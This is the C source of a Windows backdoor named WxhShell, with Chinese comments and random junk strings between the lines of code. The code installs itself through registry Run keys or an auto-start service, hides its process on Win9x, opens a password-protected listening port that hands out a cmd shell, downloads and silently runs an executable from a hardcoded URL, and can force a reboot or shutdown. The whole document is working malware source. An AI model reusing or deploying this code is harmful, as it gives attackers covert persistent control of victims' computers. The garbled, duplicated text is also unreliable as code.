gr&s+ PROCESS_BASIC_INFORMATION pbi; OGi4m | i^ cM@? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Doc'7P if(NULL == hInst ) return 0; H&=4y) /. m\Fb , g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5`'au61/2 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T{{AZV"pB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `(Q_ 65y bc=u1=~w if (!NtQueryInformationProcess) return 0; ~K#_'Ldrd '`~(Fkj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `{Di* if(!hProcess) return 0; p9}c6{Wp |XA aKZA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hOL y*% >`?+FDOJ, CloseHandle(hProcess); VmH_0IM^6 V<NsmC=g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iLd"tn' if(hProcess==NULL) return 0; f+aS2k(e> Ta\8>\6 HMODULE hMod; HD8"=7zJk char procName[255]; grfdvN unsigned long cbNeeded; KYmWfM3^ M|E2&ht if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 19w,'}CGk
;/^]| CloseHandle(hProcess); - Zoo) y7IbE if(strstr(procName,"services")) return 1; // 以服务启动 (zro7gKked ?r'TH/> return 0; // 注册表启动 tqwk?[y}+l } IJBJebqL p<0kmA<B/ // 主模块
vH?+JN"A int StartWxhshell(LPSTR lpCmdLine) pT;-1c%: { c>WpO Z, SOCKET wsl; 'UXj\vJ3E BOOL val=TRUE; -G<2R"Q#N int port=0; )av'u.]%c struct sockaddr_in door; JU=\]E@8c C(1A8 if(wscfg.ws_autoins) Install(); V=zM5 MH2 -2jBs-z port=atoi(lpCmdLine); )4F/T, {;m ]T3BDgu%& if(port<=0) port=wscfg.ws_port; #9hXZr/8 ~SR(K{nf#. WSADATA data; K0DXOVT\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E%2!C/+B >]XaUQ- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 71<PEawL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cH* /zNp door.sin_family = AF_INET; N4` 9TN7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); &(uF&-PwO4 door.sin_port = htons(port); o )nT ZaUcP6[h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D_19sN@0m closesocket(wsl); Va/@#=,q] return 1; kG;eOp16R } ^2;(2s pW3)Y5/D if(listen(wsl,2) == INVALID_SOCKET) { @a.6?.<L closesocket(wsl); ?<yq 2`\4O return 1; peTO-x^a- } n"<GJ.{ Wxhshell(wsl); jQ_|z@OV WSACleanup(); 5nxS+`Pn.) N9JgV,` return 0; M8",t{7 8NAWA3^B } XC/]u%n8]( X\3,NR, // 以NT服务方式启动 |!xfIR>=F VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [`zbf_RyO { !.2CAL DWORD status = 0;
uRB)g DWORD specificError = 0xfffffff; spSN6.j 1y)$[e
serviceStatus.dwServiceType = SERVICE_WIN32; eA*Jfb serviceStatus.dwCurrentState = SERVICE_START_PENDING; v-7Rb)EP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rz[uuY7 serviceStatus.dwWin32ExitCode = 0; EDgob^> serviceStatus.dwServiceSpecificExitCode = 0; 8W1K3[Jj< serviceStatus.dwCheckPoint = 0; .y;\puNq serviceStatus.dwWaitHint = 0; 9OQ0Yc!3 BudWbZ5>Ep hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); we H@S if (hServiceStatusHandle==0) return; A}#]g>L |?fW!y status = GetLastError(); CNpe8M=/3 if (status!=NO_ERROR) HV$9b~( { z7@(uIl=X serviceStatus.dwCurrentState = SERVICE_STOPPED; Ah" 'hFY serviceStatus.dwCheckPoint = 0; 4*D fI serviceStatus.dwWaitHint = 0; Kixr6\ serviceStatus.dwWin32ExitCode = status; N&x WHFn]C serviceStatus.dwServiceSpecificExitCode = specificError; DQ n`@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ZgER[ return; x8pbO[_| } S`W'G&bCj
a$xeiy9 serviceStatus.dwCurrentState = SERVICE_RUNNING; iKF$J3a\2f serviceStatus.dwCheckPoint = 0; I", &%0ycm serviceStatus.dwWaitHint = 0; }o!#_N0T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xew1LPI } StdS$XW O7'<I|aD // 处理NT服务事件,比如:启动、停止 p29yaM VOID WINAPI NTServiceHandler(DWORD fdwControl) ,{uW8L { 6HEqm>Yau switch(fdwControl) Ha=_u+@ { d Y:|Ef|v( case SERVICE_CONTROL_STOP: y} $P, serviceStatus.dwWin32ExitCode = 0; KTLbqSS\ serviceStatus.dwCurrentState = SERVICE_STOPPED; l?o-!M{ serviceStatus.dwCheckPoint = 0; !Ig|m+ serviceStatus.dwWaitHint = 0; ##EB; Y { v ]/OAH6D SetServiceStatus(hServiceStatusHandle, &serviceStatus); nL":0!DTRD } !y
qa?\v9 return; mX<Fuu}E*Z case SERVICE_CONTROL_PAUSE: AK@`'$ serviceStatus.dwCurrentState = SERVICE_PAUSED; m{bZRkt break; jSwtf case SERVICE_CONTROL_CONTINUE: 5q(]1|Sei serviceStatus.dwCurrentState = SERVICE_RUNNING; Z#OhYm+y break; /i-xX* case SERVICE_CONTROL_INTERROGATE: \uU=O
) break; (b/A|hl }; .)"_Q/q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S1 EEASr!} } [5?4c'Ev (xZr ]v ]U // 标准应用程序主函数 Ge^zX$.' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Y?gzD { lC'{QUC u0bfX,e2U // 获取操作系统版本 ?Do^stq'4 OsIsNt=GetOsVer(); c-4m8Kg?L GetModuleFileName(NULL,ExeFile,MAX_PATH); b!'l\~`{i JQKC;p // 从命令行安装 Ow
cVPu_ if(strpbrk(lpCmdLine,"iI")) Install(); '%zN W>5vRwx00 // 下载执行文件 ,hpH!J'5f/ if(wscfg.ws_downexe) { e2]4a3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
h`wMi}q'D WinExec(wscfg.ws_filenam,SW_HIDE); 54q4CagFq } H&w:`JYDL3 w(76H^e if(!OsIsNt) { ID67?:%r // 如果时win9x,隐藏进程并且设置为注册表启动 /9x{^ HideProc(); g$*/XSr( StartWxhshell(lpCmdLine); fm(mO% } @4IW=V else @~m=5C if(StartFromService()) <Rcu%&;i // 以服务方式启动 [[R7~.; StartServiceCtrlDispatcher(DispatchTable); !dU9sB2 else
]pW86L% // 普通方式启动 O1GDugZ StartWxhshell(lpCmdLine); ~L-0~ A}t %;V2 return 0; NFk}3w: } )E'Fke s kN9O"^A $> "J"IX k:b/Gq` =========================================== S~KS9E~\ aq3~!T;W 3lo;^KX ! 2\^G['9 @Ii-NmOr HXQ e\r " `I5O4|K) Tbv/wJ #include <stdio.h> ShQ|{P9 #include <string.h> ]dvPx^`d{ #include <windows.h> ,i?) #include <winsock2.h> #SKfE #include <winsvc.h> Og,Y)a;= #include <urlmon.h> 95=gY kOw=c Gt #pragma comment (lib, "Ws2_32.lib") J,f/fPaf7 #pragma comment (lib, "urlmon.lib") z{ptm7 7;&(} #define MAX_USER 100 // 最大客户端连接数 y|$R`P #define BUF_SOCK 200 // sock buffer *)u?~r(F #define KEY_BUFF 255 // 输入 buffer 5L8&/EN9- ^:`oP"%-T #define REBOOT 0 // 重启 ~12_D'8D[ #define SHUTDOWN 1 // 关机 "`pNH' S]}}A #define DEF_PORT 5000 // 监听端口 n.*3,4.] PU W[e% #define REG_LEN 16 // 注册表键长度 U^MuZ #define SVC_LEN 80 // NT服务名长度 .%q$d d>> v=!YfAn // 从dll定义API #~L!pKM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8{dEpV* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Rj#sxtdw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }g~g50ci typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kx~$Bor_! ZWO)tVw9G // wxhshell配置信息 ; e@gO struct WSCFG { ipobr7G.SD int ws_port; // 监听端口 i3#'*7f%j char ws_passstr[REG_LEN]; // 口令 8".2)W4*
int ws_autoins; // 安装标记, 1=yes 0=no LheFQ A char ws_regname[REG_LEN]; // 注册表键名 $.pTB(tO char ws_svcname[REG_LEN]; // 服务名 NmJ`?-Z char ws_svcdisp[SVC_LEN]; // 服务显示名 OTj,O77k char ws_svcdesc[SVC_LEN]; // 服务描述信息 ._?V%/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *i^`Dw^~y int ws_downexe; // 下载执行标记, 1=yes 0=no h4_b!E@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [)^mBVht char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GF8 -_X sYJL-2JX }; C5|db{=\.* <47k@Ym // default Wxhshell configuration 7h%4] struct WSCFG wscfg={DEF_PORT, *m9{V8Yi2 "xuhuanlingzhe", LN4qYp6)G 1, Z|G/^DK! "Wxhshell", e+. \pe\ "Wxhshell", l4rMk^>> "WxhShell Service", ldGojnS "Wrsky Windows CmdShell Service", W^es;5 "Please Input Your Password: ", VPt9QL( 1, 4:7m K/Z "http://www.wrsky.com/wxhshell.exe", UUeB;'E+ "Wxhshell.exe" /@hJpz|+ }; )tS-.P rA- .h4\{| // 消息定义模块 4*TmlY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kZLMtj- char *msg_ws_prompt="\n\r? for help\n\r#>"; 4U=75!> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z<U>A
char *msg_ws_ext="\n\rExit."; ]ab#q= char *msg_ws_end="\n\rQuit."; XM/vDdR char *msg_ws_boot="\n\rReboot..."; Tkw;pb char *msg_ws_poff="\n\rShutdown..."; LH2PTW\b!6 char *msg_ws_down="\n\rSave to "; }u%"$[I} |S&5es-yW char *msg_ws_err="\n\rErr!"; K B!5u 9 char *msg_ws_ok="\n\rOK!"; [ %}u=}@ \ECu5L4 char ExeFile[MAX_PATH]; {hQ6K)s int nUser = 0; I9Eu', HANDLE handles[MAX_USER]; Kc #|Z int OsIsNt; ecj7BT[mLI Dzl;-]S SERVICE_STATUS serviceStatus; o%`Xa#*Ly SERVICE_STATUS_HANDLE hServiceStatusHandle; e4`uVq5 a^t?vv // 函数声明 H6K`\8/SeN int Install(void); )}MHx`KT2 int Uninstall(void); WA6!+Gy int DownloadFile(char *sURL, SOCKET wsh); O/Rhf[7v* int Boot(int flag); KL [ek void HideProc(void); 5|I55CTx int GetOsVer(void); G_ >G'2 int Wxhshell(SOCKET wsl); FY'ty@|_s void TalkWithClient(void *cs); 2 rN ,D( int CmdShell(SOCKET sock); "B{ECM; int StartFromService(void); 0:=ZkEEeU int StartWxhshell(LPSTR lpCmdLine); l>6@:nq|R x[(?# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,+`HQdq VOID WINAPI NTServiceHandler( DWORD fdwControl ); rY0u|8.5Q + H_WlYg- // 数据结构和表定义 +*}{`L-
: SERVICE_TABLE_ENTRY DispatchTable[] = ;
A,#;%j { /KCPpERk{ {wscfg.ws_svcname, NTServiceMain}, Nc)J18 {NULL, NULL} En6H%^d2 }; p`F9Amb *|% ^0#$c // 自我安装 V0*3;n int Install(void) c~=B0K- { =JS;;PzX[ char svExeFile[MAX_PATH]; WG7k(Sp] HKEY key; nV*y`.+ strcpy(svExeFile,ExeFile); 9Q;c,] .]x2K-Sf // 如果是win9x系统,修改注册表设为自启动 k5`OH8G if(!OsIsNt) { j(rL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '?QuJFki RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @+LfQY RegCloseKey(key); 4)6xU4eBaL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _[K"gu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DgHaOAdU RegCloseKey(key); 3;[DJ5 return 0; A"v{~ } Q=uR Kh } T ?Fcohz( } g(C|!}ex/ else { |X19fgk k]A8% z // 如果是NT以上系统,安装为系统服务 7.Kc:7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #A7jyg": if (schSCManager!=0) C?4JXW { d[D&J SC_HANDLE schService = CreateService S6d`ioi- ( 7nU6k%_ % schSCManager, R\|lt)h wscfg.ws_svcname, n5-)/R[z wscfg.ws_svcdisp, 9BEFr/. SERVICE_ALL_ACCESS, '8 Ztj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (ll*OVL SERVICE_AUTO_START, iRV~Il#~! SERVICE_ERROR_NORMAL, FR[ B v svExeFile, uX/$CM NULL, V/d/L3p NULL, }x0- V8 NULL, ^Xb7[+I6 NULL, =&wmWy NULL hU]HTX'R ); }[+!$# if (schService!=0) l v&mp0V+ { >'uU)Y{ CloseServiceHandle(schService); }A=y=+4j CloseServiceHandle(schSCManager); 4+$b~u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #oeG!<Mn strcat(svExeFile,wscfg.ws_svcname); {6 6sB{P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a ]Eg!Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A>`945| RegCloseKey(key); 51C2u)HE return 0; `:m!~ } '_\;jFAM } $''?HjB}T CloseServiceHandle(schSCManager); l>gI&1)% } xT&(n/ } 2T@GA1G kd`0E-QU return 1; im7nJQ^H$q } }v9\F-0>Q 7;@ST`cC // 自我卸载 DZ7
gcC int Uninstall(void) .d;Iht,[ { @ V08U! HKEY key; 9Jf)!o8 i,A#&YDl if(!OsIsNt) { 4/ kv3rv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `1*nL,i RegDeleteValue(key,wscfg.ws_regname); oI:o"T77sA RegCloseKey(key); 2~[@_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pi,QHb`> RegDeleteValue(key,wscfg.ws_regname); 2kAx>R RegCloseKey(key); S{4z?Ri, ' return 0; ?\KM5^eX } 99$
5`R; } Q|Y0,1eVp| } 7!,YNy% else { {t"+
3zy' wbDM5% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EN{]Qb06A if (schSCManager!=0) !Cgx. { " 96yp4v@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %*aJLn+]_R if (schService!=0) ^,l_{ { ?Xdak|?i if(DeleteService(schService)!=0) { 9Zry]$0~R CloseServiceHandle(schService); NN0$}ac p CloseServiceHandle(schSCManager); Uoya3#4 G return 0; [ EFMu;q } iovfo2!hD CloseServiceHandle(schService); 09A
X-JP } F' U 50usV CloseServiceHandle(schSCManager); |@ ,|F:h<M } NK|? y } /525w^'pd f/WQ[\<!I return 1; iGB_{F~t4} } 7Dnp'*H &l$Q^g // 从指定url下载文件 %ms'n int DownloadFile(char *sURL, SOCKET wsh) 1Je9,dd6 { -jgysBw+Xb HRESULT hr; o"wXIHUmV char seps[]= "/"; M/x >51< char *token; ^7;JC7qmN char *file; P%)gO char myURL[MAX_PATH]; 5@*'2rO&!
char myFILE[MAX_PATH]; Hf'G8vW D7Y)?Z5A; strcpy(myURL,sURL); ?USQlnr:R/ token=strtok(myURL,seps); G}
eUL|S while(token!=NULL) 8WE{5#oi { 0 a]/%y3V file=token; ??TMSH token=strtok(NULL,seps); QL6C,#6 } Kp+CH7I* Rqwzh@} GetCurrentDirectory(MAX_PATH,myFILE); ,q(&)L$S strcat(myFILE, "\\"); bjAnaya strcat(myFILE, file); ThPE
0V send(wsh,myFILE,strlen(myFILE),0); >!_Xgw send(wsh,"...",3,0); < >UPD02 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h:lt<y if(hr==S_OK) ]Jh+'RK\# return 0; 1c JF/"v else ?#yV3h|Ij return 1; SIBoCs5
eEhr140 } \!]Ua.e< BBcV9CGU // 系统电源模块 LZMYr int Boot(int flag) ^(viM?* { M#|dIbns
H HANDLE hToken; _gKe%J& TOKEN_PRIVILEGES tkp; PtqJ*Z @EE."T9 if(OsIsNt) { Sa19q.~% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); olLfko4$*V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qY\f'K}Q* tkp.PrivilegeCount = 1; b64
@s2] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $gBd <N9|c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d #jK=:eK if(flag==REBOOT) { Z|RY2P>E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xf)|Pu return 0; 099sN"kf } ~=R SKyzt else { >
iE!m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }I`a`0/ return 0; iNwqF0 } <b/~.$a' } FI"`DMb} else { s1?[7yC if(flag==REBOOT) { p4p@^@<>X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~b{Gz6u> return 0; ;[RZ0Uy= } nx0K$Ptq else { +cU>k} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qRbf2; return 0; h*u`X>!! } iAa;6mH } "`6n6r42 (H+'X}1
return 1; Zo>]rKeV } A.UUW {BHI1Uw // win9x进程隐藏模块 pRSOYTebP void HideProc(void) t4?DpE { ktDC/8 d
GP*O HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C"IKt if ( hKernel != NULL ) Z,iHy3` { u1xSp<59C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A)ipFB
6K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u.rY#cS,-R FreeLibrary(hKernel); wf1lyS } u{["50~ ]
}f9JNf$ return; Pz$R(TV } q\\gpCgp vFEQ7qI // 获取操作系统版本 / g 2b int GetOsVer(void) IHRGw { kA7mLrON OSVERSIONINFO winfo; IKie1!ZU{" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cyJG8f GetVersionEx(&winfo); }^B6yWUN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s`>[F@N7.o return 1; [5Lz/ix= else 9P{;HusNw return 0; ?ve#} \ } {\[5}nV G\TfL^A // 客户端句柄模块 ^]
kF{
o? int Wxhshell(SOCKET wsl) WOh|U4vt { )&
u5IA( SOCKET wsh; -(K9s!C!. struct sockaddr_in client; ~)(\6^&=| DWORD myID; vOg#Dqn- ,]T2$?| while(nUser<MAX_USER) 'w1YFdW { E@Ad'_H int nSize=sizeof(client); TwgrRtj' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); : _QCfH if(wsh==INVALID_SOCKET) return 1; ^wS5>lf7p Is+O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N!`e}Z6S if(handles[nUser]==0) z3uW)GQ. closesocket(wsh); yv)ux:P&+ else sN5B7)Vc nUser++; jv&!Kw.Ug } wb~@7,D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %w7]@V Z /a6Xa&(B return 0; \rPbK+G. } ur$l Z0 [|l?2j\ // 关闭 socket r;m)nRu void CloseIt(SOCKET wsh) f|sFlUu& { )aX,% yK closesocket(wsh); a@R]X5[O nUser--; xZV1k~C ExitThread(0); u_rdmyq$x/ } _SA5e3# cp o-. // 客户端请求句柄 U)3DQ6T99 void TalkWithClient(void *cs) fNrgdfo { NssELMtF!g ;D$)P7k6 SOCKET wsh=(SOCKET)cs; _2N$LLbg char pwd[SVC_LEN]; D1&A,2wO char cmd[KEY_BUFF]; <\;#jF%V char chr[1]; o;?/HE%,[ int i,j; 85GKymz$P MQ"xOcD*F while (nUser < MAX_USER) { +5XpzZ{#Wa /B}lO0]: if(wscfg.ws_passstr) { q/n,,! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7k8 pZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JY6
Qp //ZeroMemory(pwd,KEY_BUFF); XU"~h64] i=0; {GJ@psG* while(i<SVC_LEN) { k?'B*L_Mzv ?Ae ven // 设置超时 4rrSb* fd_set FdRead; /d%=E struct timeval TimeOut; B7!3-1<k> FD_ZERO(&FdRead); !o$!Fr c FD_SET(wsh,&FdRead); aE2.L;Tk? TimeOut.tv_sec=8; t]-5 ]oI TimeOut.tv_usec=0; [p<w._b i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^yOZArc'r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5L!y-3 tToTxf~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7nuU^wc pwd=chr[0]; AnT3M.>ek if(chr[0]==0xd || chr[0]==0xa) { p|]\P%,\ pwd=0; tPF.r break; g1(IR)U!z } /E\%>wv i++; [KxF'm z9 } C9t4#" S9#)A-> // 如果是非法用户,关闭 socket h2D>;k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %VnbmoO }
>FkWH7 R2
V4# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bi{$@n&?f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (P$H<FtH hodgDrmO/ while(1) { |vw"[7_aS /gG"v5] ZeroMemory(cmd,KEY_BUFF); )-._FOZ6 =&:Y6XP // 自动支持客户端 telnet标准 Ywwu0.H< j=0; ' <=+;q while(j<KEY_BUFF) { ?5{>;#0Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yNbjoFM.i cmd[j]=chr[0]; pfI"36]F if(chr[0]==0xa || chr[0]==0xd) { m|G'K[8 cmd[j]=0; T~='5iy| break; q7E~+p(>( } =y!$/(H j++; g
pOC`=
} ){b@}13cF HZ:6zH // 下载文件 g?ULWeZg5 if(strstr(cmd,"http://")) { _D+J!f^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); [)TRTxFb if(DownloadFile(cmd,wsh)) .Fp4:
e send(wsh,msg_ws_err,strlen(msg_ws_err),0); q?8|
[. else 8#g1P4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BT"XT5@ } %B.yW`,X else { BGX.U\uc sdo[D switch(cmd[0]) { k1D@fiz 3(,?S$> // 帮助 bXNk%W[n case '?': { =aTv! 8</ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1waTTT?"Ho break; L}pt)w*V1j } W@I|Q - // 安装 N <Xq]!
K- case 'i': { z.;ez}6%V if(Install()) mmk=97 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #iHs*
/85 else O[ef#R! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fkd+pS\9g~ break; %Da1(bBh } WL"^>[Vq // 卸载 TtTj28k7 case 'r': { j=r P:# if(Uninstall()) @pRlxkvV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] [p>Y>:b- else ~XmLX)vO/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GVYkJ0, break; Yz+ZY } rr02pM0 // 显示 wxhshell 所在路径 M,\:<kNI case 'p': {
x5-}h* char svExeFile[MAX_PATH]; S;286[oq@ strcpy(svExeFile,"\n\r"); Rx=>6,)' strcat(svExeFile,ExeFile); lUMS;H( send(wsh,svExeFile,strlen(svExeFile),0); fUA uqfj[ break; abfW[J } /Y2}a<3&0 // 重启 U ^5Kz-5. case 'b': { _ =VqrK7T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vkEiOFU!u if(Boot(REBOOT)) sW'2+|3" send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Z!)^j else { .Z
`av n closesocket(wsh); hRD=Y<>A ExitThread(0); U!*M*s } _)>_{Pm break; naR0@Q"\h } +{f:cea (1 // 关机 @a0DT=>dT case 'd': { Ni-xx9)= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9\BT0kx if(Boot(SHUTDOWN)) [`"ZjkR_J send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ufTQ?Fe else { (jRm[7H closesocket(wsh); ?En O"T. ExitThread(0); :fZ}o|t7 } QLiu2U o break; 8y.wSu
} gf
&Pn // 获取shell B][U4WJ) case 's': { #(N+((): CmdShell(wsh); D"2&P^- closesocket(wsh); TE7nJ gm ExitThread(0); xg;+<iW break; _4U5 } lJ}_G>GJ // 退出 DpvI[r//'* case 'x': { L(|N[# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c]n1':FT" CloseIt(wsh); 7'W%blg!V break; {byBcG } g+Sbl // 离开 bB1UZ O case 'q': { Vr`R>S,- send(wsh,msg_ws_end,strlen(msg_ws_end),0); NflD/q/ L closesocket(wsh); \F/hMXDlJ WSACleanup(); x7!L{(E3 exit(1); %\dz
m-d(C break; <66X Xh. } 7e|s
wJ>4 } 0zlb0[ } |@
s,XS C.Kh[V\Ut // 提示信息 i]YV { if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %,}A@H, } 8QLj[" } pz\
+U7 IoQEtA return; z<U-#k7nz } ORHp$Un~) ?mFv0_!O // shell模块句柄 "4+&-ms int CmdShell(SOCKET sock) "/3'XOK| { @s ? STARTUPINFO si; l1OE!W W ZeroMemory(&si,sizeof(si)); 5
ZGNz1)?V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jjw`Dto& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }@'$b<!B PROCESS_INFORMATION ProcessInfo; S1Wj8P- char cmdline[]="cmd"; a!7A_q8M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?(Dq ?-. return 0; VM
GS[qrG }
-D !;Yg/'vD- // 自身启动模式 cl=EA6P\X int StartFromService(void) aQ?/%\> { \r^qL^ typedef struct }Gz~nf% { B}Z63|/N DWORD ExitStatus; MDhRR*CBh DWORD PebBaseAddress; |:q=T
~x DWORD AffinityMask; v7BA[j Qr DWORD BasePriority; D[aCsaR ULONG UniqueProcessId; }Z@ovsG ULONG InheritedFromUniqueProcessId; nm5cpnNl } PROCESS_BASIC_INFORMATION; *4Thd:7 ` =n5zM._S- PROCNTQSIP NtQueryInformationProcess; 8_BV:o9kL J>wt(] y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NO "xL, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F\JM\{&F #>b3"[ | HANDLE hProcess; Neq+16*u PROCESS_BASIC_INFORMATION pbi; D/Z6C&/I X$
0?j1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u]<,, if(NULL == hInst ) return 0; 5nv#+ap1 " C%$edEi g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [')m|u~FS4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "CSsCA$/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A-Sv;/yD_ L-jJg,eY if (!NtQueryInformationProcess) return 0; bhTb[r Zd^rNHhA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,&]S(|2%>t if(!hProcess) return 0; H*RC@O_hv 0%9 q8M; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zT=Ho
